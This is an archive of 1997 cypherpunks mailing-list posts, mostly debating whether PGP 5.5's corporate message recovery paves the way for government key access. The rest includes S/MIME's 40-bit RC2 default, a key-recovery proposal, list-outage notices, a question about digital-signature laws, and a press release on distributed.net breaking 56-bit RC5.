I made this point at the very begining. Source code is not even needed,
all one needs to know is the encryption & signature packet formats to be
able to pull the keyID's.

>I am going to install PGP's SMTP filter on my box. To make it impossible
>to accidentally send unencrypted mail to certain people. :-)

I already have this inplace as a Rexx script on my E-Mail client. :))

>>To make that a bit stronger, it seems like *any* model that uses 
>>persistent encryption keys essentially enables CMR-like functionality 
>>in a smtp filter -- it could be done using pgp 2.6.

My set-up works with 2.6->5.0. It's just not persistent keys but the
ability to encrypt to multiple recipiants. Of cource even without these
features this functionality can implemented by moveing encryption to the
server. Only signing & decryption need to be on the client machines. 

It may even be more efficent in a corporate enviroment to do so. There are
performance questions in a high volumn enviroment but I have developed
techniques that greatly enhance the perfomance of PGP when working with
large keyrings. I know C2-Net has done work with their Stronghold product
for supporting hardware based encryption to improve performance on high
volumn servers, it would be intresting to see how well these cards would
lend themselves to PGP.

>Correct. But this isn't going to stop people from complaining.

>PGP 5.5 is considerably better than PGP 5.0. The LDAP support alone is
>reason to upgrade. The UI is improved and if you don't want to use
>message recovery, just don't turn it on.

I will agree that 5.5 is an improvement but to be honest I am not that
crazy about it. Not that all of it is PGP's fault alot has to do with the
OS it runs on. NT just isn't ready for prime time. I have my own GUI I
designed for PGP on the OS/2 platform so I am a little biased in that
area. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNE7+aY9Co1n+aLhhAQFhwgP/SdJSeNgbG/SRgR15gwtb22QFOF/VBEL6
K047yXYEwJ/2Vd/zEwJ8AU/6ycVawtGMFpIGyLQHG91ATVear7CSHmsa6KMPH7EC
dtK2bbEQlpJsgGbQpXNt6gHOuKYRZIXp65XIlEvu8qW3CJLUGz+RTNnKOAIFkUe2
JWWYRj7N5Wc=
=xwCN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Thu, 23 Oct 1997 18:26:59 +0800
To: jon@pgp.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
Message-ID: <877599242.19194.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



jon@pgp.com wrote:

> This is exactly CMR. The only thing that Business 5.5 does is automatically
> add the department for you, and put up the recipient dialog so it can be
> taken off. Congrats.

On the contrary, it is *not* CMR. CMR encrypts to multiple keys for a single
recipient. This system only ever encrypts to one key per recipient. PGP 5.5's
ability to force people to encrypt to multiple keys for one recipient is the
evil aspect of the design, because it's the one which allows it to be used
to enforce GAK. PGP's CMR can be used to force everyone to encrypt to the
FBI as well as the NSA. My system can't.
 
I tried very hard to make this distinction clear in my description. I'm 
amazed that so many people seemed to miss it.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 23 Oct 1997 16:56:48 +0800
To: cypherpunks@cyberpass.net
Subject: What RSA & Netscape have to offer
Message-ID: <199710230817.EAA21914@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

While the list is busy knocking PGP for not doing the "right thing" or
being the "first ones to blink" I though I would share with the list what
some of the "big boys" are doing for the spread of "Strong Crypto to the
Masses". Below is from the most current S/MIME draft
"draft-dusse-smime-msg-05" dated 19-Oct-1997:

2.6 ContentEncryptionAlgorithmIdentifier

Receiving agents MUST support decryption using the RC2 [RC2] or a
compatible algorithm at a key size of 40 bits, hereinafter called
"RC2/40". Receiving agents SHOULD support decryption using DES EDE3 CBC,
hereinafter called "tripleDES" [3DES] [DES].

Sending agents SHOULD support encryption with RC2/40 and tripleDES.

I think that when taking pot-shots at PGP, Inc. and Phil Zimmerman one
should look at what the alternatives are and who are really are friends
here. IMNSHO companies like RSA, Netscape, Microsoft, Verisign, et al, who
would sell us all out if it improved their bottom lines do not qualify.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNE8Iqo9Co1n+aLhhAQGWswP+MnvOCL1EoURWpEPt23I/UIuRWBovby8d
AxZS3N8/exnI2M3kDCC2mTUWmvaKdsUnwErnXCQ9nQTDa9B+2VUBlijtkC+nsTV8
Vuv484AU51havdyttE87YMDXx8LSkdWnGXLs8TpjrRXiDZlxPJWIif3haK1hC5kg
I3VmdwaZc/4=
=7Fan
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Half-Baked <phb@dev.null>
Date: Thu, 23 Oct 1997 17:54:19 +0800
To: cypherpunks@toad.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <01bcdf5a$4a2d3a60$06060606@russell>
Message-ID: <344F1C80.6E0F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Phillip M. Hallam-Baker wrote:
>
> I should point out before starting that I now work for Verisign. This
> following personal opinion however and may not reflect any corporate policy
> that may or may not exist.

Knowing who is pulling Verisign's strings, I sincerely doubt that
a thinly-veiled character assassination of Phil Zimmermann is out
of line with their corporate policy.

It's a little early to start cumming in your pants over PGP's loss
of reputation capital, P[s]hill.
When the dust is finished settling in the battle deciding whether we
will live in a total surveillance state, or not, Verisign is likely to
end up at the bottom of the dust-bin (unless, of course, you accomplish
your aims at the company very, very quickly--which is highly unlikely).

Phill Half-Baked
"Stick a knife in me, I'm half-done."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 23 Oct 1997 17:02:05 +0800
To: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Subject: Re: [rc5] The unknown message is...
In-Reply-To: <slrn64u2oa.nc.lutz@taranis.iks-jena.de>
Message-ID: <199710230856.EAA22265@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <slrn64u2oa.nc.lutz@taranis.iks-jena.de>, on 10/23/97 
   at 08:30 AM, lutz@taranis.iks-jena.de (Lutz Donnerhacke) said:

>* Lutz Donnerhacke wrote:
>>

>You should not fake User IDs.

You should sign your messages. :P

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNE8RyY9Co1n+aLhhAQGttAQAlVWw4j47eobNp43WULVUTC5DEnjEa3pp
7fKXGwxzlivbCfuB39dlFcLvbog+OPYnWi2JjkpsNMsrTZ6LbeKbeEyApjo5cc5B
w4Z6+aGBZMy5SyLmVKiCHsWqMS2si7prJD5YUGvopeP7+CDoO+1/9NJxUzYnr2dD
lLCgNsyaOCM=
=ajoB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Thu, 23 Oct 1997 19:53:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
Message-ID: <877607187.26935.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain




A PGP Employee wrote:
>> Unfortunately these people just don't get it. Corporations refused
>> to buy 5.0 because it did not have any way for the corps to get at
>> email encrypted to their employees. There are some very legitimate
>> uses of this, such as when an employee dies and someone else has
>> to take over for them.

No, PGP Inc 'just don't get it'. I'm sure that there are plenty of people
out there who disagree with the entire concept of CMR, and I'm not very
happy with it myself. But that's not the most important issue here.

Since this point just doesn't seem to get through to PGP Inc employees, I'm
going to shout.

FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP AWAY FROM
GAK. FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP AWAY 
FROM GAK! FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP 
AWAY FROM GAK!! FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE 
STEP AWAY FROM GAK!! !!!*FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT 
IS ONE STEP AWAY FROM GAK*!!!

Is that clear enough? Do you understand what I (and, apparently, Adam Back
and others) am saying now? The problem is not so much with the fact that
you're supporting company needs, but with the way you're doing so.

>> They also don't seem to realize that you always have the ability
>> to remove the MRK from your list of recipients.

Just as government-supported rating schemes are purely voluntary and will
be so for, oh, I don't know, a couple of years? Once the infrastructure is
there, we need only an executive order to make it mandatory. If this 
software ships in its current form and becomes the dominant player in the
market, in four or five years all keys will be GMR keys with the FBI or
NSA as one mandatory recipient. You 'privacy zealots' will have created the
government's surveillance infrastructure. I hope you'll feel proud.

>> Sometimes I really feel like screaming at these people. _All_ of
>> the developers at PGP are personal privacy zealots and no one
>> likes the idea of the MRK. 

Good. Then reimplement it to avoid giving the government a GAK/GMR
infrastructure. Yesterday I posted a modified version of PGP's CMR to
the cypherpunks list which can't be used for GAK because it only encrypts
to one key; Jon Callas just told me I'd 'redesigned PGP 5.5'. Cool. I've redesigned PGP 5.5 so that it can't support GAK; in that case, please 
implement it, or accept that you're deliberately choosing to support the 
thugs in governments around the world and have become part of the problem.

>> That is why we refuse to make them
>> required. 

Just 'mandatory voluntary' for companies which have your SMTP enforcer
enabled. What's the difference?

>> Most everyone at PGP has
>> internalized personal privacy as a cause (actually most had it
>> before they joined PGP).

So prove it. Stop working on creating a GMR/GAK infrastructure. The current
PGP CMR system has numerous problems which many people have pointed out on
the cypherpunks list, and you'd do better to solve those problems rather 
than see them in a major New York Times article about '101 Ways PGP 5.5 
Harms Company Security'. How long will PGP Inc last when it's reputation 
for providing secure products is in tatters, because it chose to release a product which deliberately reduced company security and opened them to new threats, rather than redesign their CMR to remove these problems?

The current CMR implementation is bad for us, bad for PGP Inc's commercial
customers, and bad for PGP Inc. Why is this so hard for you to accept? Why
ship a bad product when you can fix the problems?

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Thu, 23 Oct 1997 19:57:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
Message-ID: <877607579.27586.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain




[Resent because god-damned Netscape screwed up the line-breaks]

A PGP Employee wrote:
>> Unfortunately these people just don't get it. Corporations refused
>> to buy 5.0 because it did not have any way for the corps to get at
>> email encrypted to their employees. There are some very legitimate
>> uses of this, such as when an employee dies and someone else has
>> to take over for them.

No, PGP Inc 'just don't get it'. I'm sure that there are plenty of people
out there who disagree with the entire concept of CMR, and I'm not very
happy with it myself. But that's not the most important issue here.

Since this point just doesn't seem to get through to PGP Inc employees, 
I'm going to shout.

FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP 
AWAY FROM GAK. FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT 
IS ONE STEP AWAY FROM GAK! FORCING ENCRYPTION TO MULTIPLE KEYS FOR 
ONE RECIPIENT IS ONE STEP AWAY FROM GAK!! FORCING ENCRYPTION TO 
MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP AWAY FROM GAK!! 
!!!*FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE 
STEP AWAY FROM GAK*!!!

Is that clear enough? Do you understand what I (and, apparently, Adam 
Back and others) am saying now? The problem is not so much with the fact 
that you're supporting company needs, but with the way you're doing so.

>> They also don't seem to realize that you always have the ability
>> to remove the MRK from your list of recipients.

Just as government-supported rating schemes are purely voluntary and 
will be so for, oh, I don't know, a couple of years? Once the infrastructure 
is there, we need only an executive order to make it mandatory. If this 
software ships in its current form and becomes the dominant player in the
market, in four or five years all keys will be GMR keys with the FBI or
NSA as one mandatory recipient. You 'privacy zealots' will have created 
the government's surveillance infrastructure. I hope you'll feel proud.

>> Sometimes I really feel like screaming at these people. _All_ of
>> the developers at PGP are personal privacy zealots and no one
>> likes the idea of the MRK. 

Good. Then reimplement it to avoid giving the government a GAK/GMR
infrastructure. Yesterday I posted a modified version of PGP's CMR to
the cypherpunks list which can't be used for GAK because it only 
encrypts to one key; Jon Callas just told me I'd 'redesigned PGP 5.5'. 
Cool. I've redesigned PGP 5.5 so that it can't support GAK; in that 
case, please implement it, or accept that you're deliberately choosing 
to support the thugs in governments around the world and have become 
part of the problem.

>> That is why we refuse to make them
>> required. 

Just 'mandatory voluntary' for companies which have your SMTP enforcer
enabled. What's the difference?

>> Most everyone at PGP has
>> internalized personal privacy as a cause (actually most had it
>> before they joined PGP).

So prove it. Stop working on creating a GMR/GAK infrastructure. The 
current PGP CMR system has numerous problems which many people have 
pointed out on the cypherpunks list, and you'd do better to solve 
those problems rather than see them in a major New York Times article 
about '101 Ways PGP 5.5 Harms Company Security'. How long will PGP 
Inc last when it's reputation for providing secure products is in 
tatters, because it chose to release a product which deliberately 
reduced company security and opened them to new threats, rather than 
redesign their CMR to remove these problems?

The current CMR implementation is bad for us, bad for PGP Inc's 
commercial customers, and bad for PGP Inc. Why is this so hard for 
you to accept? Why ship a bad product when you can fix the problems?

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 24 Oct 1997 09:50:47 +0800
To: cypherpunks@toad.com
Subject: CMR versus GAK?
Message-ID: <199710240110.UAA09551@dfw-ix3.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain





"Big Brother or the Boss?"


Are you SURE that's a dichotomy?

Big Biz and Big Gov are almost inextricably intertwined these days.  If dot-com pushes for snoopware, it is called CMR.  If dot-gov pushes for it, it is called GAK.  The real question is, if the interests of Biz and Gov coincide, and "real cooperation" is achieved, does it really matter where the idea originated?  Either way you still have snoopware.

Cpl Kaos







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Thu, 23 Oct 1997 22:03:32 +0800
To: tcmay@got.net
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
Message-ID: <877615176.6781.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



tcmay@got.net wrote:

> Our mileages apparently vary. When _I_ send a message to, say, Jon Callas
> at PGP, Inc., it is to Jon Callas, not to others. It might be a job offer,
> it might be an invitationf for him to help monkeywrench CMR, it might be a
> stock tip, it might be a comment about a conversation we had a party, it
> might be a lot of things.

Hmm, as usual, you make a good point. The uses I was thinking of were the
kind of uses that people have suggested as reasons for CMR; emailing orders,
etc to companies. Today I rarely do that because telephoning companies is
much easier, and in the future I'd expect to be sending most of them over
the Web rather than by email. I presume these *are* the kind of uses that
PGP Inc are expecting, since their system seems to have no other value 
except as snoopware.

> If I was sending it to "Jon's coworkers in Department Z," I probably either
> wouldn't encrypt it at all, or would (if the option existed) encrypt to
> some departmental or group key.

Yep, which is basically what I was suggesting. The user chooses which key 
to use based on their perception of the sensitivity of the message, not 
the enforced company policy. If it's confidential, it's confidential; if
the company think I'm up to no good they can come around and force me to 
decrypt a particular message, or sack me if I refuse. Their call.

> I expect those who adopt CMR will find an awful lot of folks will just give
> up on trying to communicate with those living in a CMR regime.

Ditto, at least if it's PGP's current 'mandatory voluntary' snoopware 
design. I won't be running any version of PGP which includes this 
'feature' in its current form; I would also suggest that we boycott any 
scanning and proofreading efforts for future versions of PGP which include
this code, or remove it from the source before release. If PGP's commercial
customers lose business as a result, that's their choice.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 23 Oct 1997 22:55:59 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: CDR design document
In-Reply-To: <199702212255.WAA01213@server.test.net>
Message-ID: <3.0.3.32.19971023073713.031381e0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713742.multipart/signed"

--Boundary..3985.1071713742.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 10:55 PM 2/21/97 GMT, Adam Back wrote:
>
>Here is a proposal for consideration for inclusion in the OpenPGP
>standard:
>
>	http://www.dcs.ex.ac.uk/~aba/cdr/

Great work, Adam!  Pursuant to some of the recent rants on cypherpunks, I
would like to see a proposal for a secret sharing mechanism that would
allow the recovery of a storage-only key with m of n shares in the event
that the passphrase to the storage key is unavailable, with the following
attributes:

1. Secret-sharing should be strongly discouraged for signature and
communication keys, for obvious anti-GAK/GACK reasons.

2. The values of m and n should be definable by the generator of (or anyone
who knows the passphrase to) the storage key.

3. The sharing algorithm and format of the share packets should be
standardised, so that any open-pgp compliant application can recover the
storage key without a passphrase, given the key and a sufficient number of
valid shares.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

Stupidity is the one arena of of human achievement where most people
fulfill their potential.

--Boundary..3985.1071713742.multipart/signed
Content-Type: application/octet-stream; name="pgp00006.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00006.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IFJVYVpWSTBENytr
ZExLVVY5bkx6VmxrMVFRVVRpSTBmCgppUUEvQXdVQk5FOWk3Y0pGMGtYcXB3
M01FUUk5blFDZmRPVDVpaVVyZXdtandkTGRKZTd4YVA4eisyQUFuaXhaCk9M
VHpmNE1iTTJ3aDVvc1U3SVNDMnhNSwo9M3l3dgotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3985.1071713742.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roger J Jones <cyber@ibpinc.com>
Date: Thu, 23 Oct 1997 21:22:40 +0800
To: "'cypherpunks@toad.com>
Subject: PGP 5.5 and the corporate environment
Message-ID: <01BCDF8A.ABE713E0@PC1901>
MIME-Version: 1.0
Content-Type: text/plain



Just a small aside.  Our help desk handles about 50 to 75 "I forgot my password" requests per day.  This might be one small motivating factor why corporations desire an alternative method to recover encrypted files.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 23 Oct 1997 20:54:48 +0800
To: cypherpunks@ssz.com
Subject: ADMIN: lost messages (fwd)
Message-ID: <199710231312.IAA17874@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jeff Barber <jeffb@issl.atl.hp.com>
> Subject: ADMIN: lost messages
> Date: Thu, 23 Oct 1997 08:22:06 -0400 (EDT)

> CPunks list administrators,
> 
> There appears to be an occasional breakdown in the list
> distribution/reflection.  I am sometimes seeing responses to articles
> that I haven't received.  For example, a message from 
> spencer_ante@webmagazine.com has been the subject of several
> follow-ups (according to their In-reply-to fields, it is message
> ID <88256538.00787D24.00@pcwhub.pcworld.com>).

Yes, there are occassional breakdowns in the communications between the
list remailers. The reason that there are several of them is if one goes
down for more than a few minutes the whole lists doesn't go down which would
occur if we were still on a single remailer.

In cases such as this I would suggest checking the archives provided by a
couple of sites (I thought since I don't check the archives).

> Any clues?

Things get lost on occassion?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 23 Oct 1997 16:33:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [rc5] The unknown message is...
In-Reply-To: <3.0.3.32.19971022161452.009824f0@slacker.com>
Message-ID: <slrn64u2oa.nc.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Lutz Donnerhacke wrote:
>

You should not fake User IDs.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 23 Oct 1997 21:32:26 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ - ISDN repairs today...
Message-ID: <199710231357.IAA18015@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

As most of you are aware SSZ has been experiencing a great deal of ISDN
stability issues the last 4-6 weeks (since the move to the new location).

To date we have been through a cable throw from one trunk line to another
which involved switching CO's. Since that throw we have seen intermittent
outages lasting from a minute or so up to 15 minutes (perhaps longer but I
didn't see them since logging is not always turned on).

Well I get up this morning and find the ISDN exhibiting the exact same sort
of intermittetent outages from last weekend, except now they ain't so
intermittent. Seems the cool weather and light rain have exacerbated the
issue such that we are in a nearly continous connect-disconnect cycle. We
are still passing packets with no loss, beit slowly.

I called SWBT and they are sending a installer out to put the line on
another distinct pair as well as putting in a repeater to boost the
pair-gain.

Expect there to be intermittent outages of an hour or more today. If the
fixes work we should be rock-solid again.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Thu, 23 Oct 1997 21:29:12 +0800
To: cypherpunks@cyberpass.net
Subject: Laws recognizing digital signatures
Message-ID: <Pine.LNX.3.95.971023091411.31102B-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




I have talked to people in government and the offshore private sector here
and think Anguilla has a very good chance of passing a law making digital
signatures legally recognized, at least for corporations.  I think we
would be the first taxhaven to do so.  Currently companies use corporate
seals. 

I mentioned that there were a few other jurisdictions that had passed some
laws like this and they would like me to try to pin down which and, if
possible, get copies of the laws. 

I remember some talk about this on cypherpunks, so I am hoping someone
here can tell me which places (think there was some state) have such laws,
and if possible tell me where I can get a copy.

Thanks,

    -- Vince

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince@Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeffrey Gold <0002595870@MCIMAIL.COM>
Date: Thu, 23 Oct 1997 21:48:32 +0800
To: ACCMAIL <cypherpunks@cyberpass.net>
Subject: Fwd: 56-bit RSA/RC5 Cracked
Message-ID: <01IP5CLUNFGQANBQN6@DGN0IG.mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain



Apologies if this already seen - JG
===================================
Date: Wed, 22 Oct 1997 18:26:52 -0400
To:   mac crypto list <mac-crypto@vmeng.com>
From: Vinnie Moscaritolo <vinnie@vmeng.com>
Subject: RC5 cracked

Press Release and Background Sheet

FORMAL PRESS RELEASE

For Immediate Release        Contact: David McNett
October 22,1997    205-458-8208

SECURE ENCRYPTION CHALLENGED BY INTERNET-LINKED COMPUTERS

CHICAGO, IL (October 22, 1997) In what could be called the largest
distributed-computing effort ever, tens of thousands of computers
linked across the Internet, under the leadership of distributed.net,
decrypted a message encoded with RSA Labs' 56-bit RC5 encryption
algorithm.  Considered by many experts to be a sufficient level of
encryption, this feat has cast grave doubts in the minds of analysts
as to the level of encryption required to keep private data secure.
"Our effort has shown that it is dangerous to consider any 56-bit key
secure", says David McNett, one of the primary coordinators of this
distributed supercomputing project.

The distributed.net effort to decrypt the encoded message required
massive computing power, harnessed by utilizing the idle, or otherwise
unused computing power from ordinary office and home computers.
Combined, these machines managed to evaluate 47% of the keyspace, or
34 quadrillion keys, before finding the winning key.  At the close of
the contest there were over 4000 active teams processing over 7
billion keys each second at a combined computing power equivalent to
more than 26 thousand high-end personal computers.  The work was
performed entirely using consumer PCs during off-hours or otherwise
idle time.  Add them all together, however, and you have the world's
largest computer.

The winning key was found by Peter Stuer, working for the STARLab
Bovine Team coordinated by Jo Hermans and centered in the Computer
Science Department (DINF) of the Vrije Universiteit in Brussels,
Belgium.

Of the US$10000 prize from RSA Labs, Mr. Stuer will receive US$1000.
US$8000 is being donated to Project Gutenberg, a non-profit
organization created for the purpose of converting the classics of
literature into electronic format for the unlimited public use.  The
remaining US$1000 is being retained by distributed.net to assist in
funding future projects.

Distributed.net is the brainchild of Adam L. Beberg.  It is the
largest non-profit venture focused on developing the full potential of
distributed computing.  Its purpose is to utilize the Internet,
allowing home and office computer users to join forces in tackling
great and seemingly insurmountable computational challenges.  The net
result is computing power sufficient to challenge the dominance of
even the most expensive mainframes and research computers.

Information about distributed.net is available from the official
distributed.net web site at: http://www.distributed.net/

MEDIA CONTACTS:
    David McNett, Voice: (205) 458-8208, Fax: (205) 458-8206
    nugget@distributed.net

ALTERNATE:
    Adam L. Beberg, (708) 396-9532, beberg@distributed.net


------------------------------------------------------------------

SECURE ENCRYPTION CHALLENGED BY INTERNET-LINKED COMPUTERS
Background for release dated October 22, 1997

distributed.net data sheet

distributed.net web site:
    http://www.distributed.net/

Related sites:
    Project Gutenberg: http://www.promo.net/pg/
    RSA Labs: http://www.rsa.com/rsalabs/
    RSA Secret Key Challenge: http://www.rsa.com/rsalabs/97challenge/

Principal organizers:
    Adam L. Beberg, Software Engineer,
        Chicago, Illinois
    Jeff Lawson, Junior Computer Science Major, Harvey Mudd College,
        Claremont, California
    David McNett, Computer Programmer/Network Administrator,
        Birmingham, Alabama

Project statistics:
    Start of contest:  January 28, 1997
    Start of distributed.net effort:      March 20, 1997
    End of contest:    October 19, 1997

    Size of keyspace:  72,057,594,037,927,936
    Number of "blocks":268,435,456
    Number of keys in one "block":        268,435,456
    Peak keys/day:     600,246,644,113,408
    Peak keys/second:  7,200,000,000 (estimated)

The unencrypted message:  "It's time to move to a longer key length"

Computing equivalents:

    Distributed.net is equivalent in processing power to:

    14,685 Intel Pentium Pro 200 processors
    13,362 Motorola PowerPC 604e/200 processors
    116,326 Intel 486DX2/66 processors
    58,163 Intel Pentium 133 processors

Perspective:
distributed.net could compromise 46-bit RC5 in under one hour.

If you printed a single page to represent each key block as it was
checked and placed those pages in a stack, it would grow 6.24 inches
taller every minute.

If keys were drops of water, the flow rate would be 464428 litres per
second.

If Keys were dollars, we could pay off the U.S. National Debt in 12.44
minutes.

If keys were bytes, we could fill 290268 3 1/2" floppy diskettes every
minute

If keys were drops of water, the flow rate would be 122609 gallons per
second.

If Key Blocks were hamburgers, we could feed the entire city of
Phoenix, AZ lunch each day

The computer that found the key:
    CPU:              Intel Pentium Pro 200
    RAM:              128 megabytes
    Operating System: Microsoft Windows NT Workstation 4.0
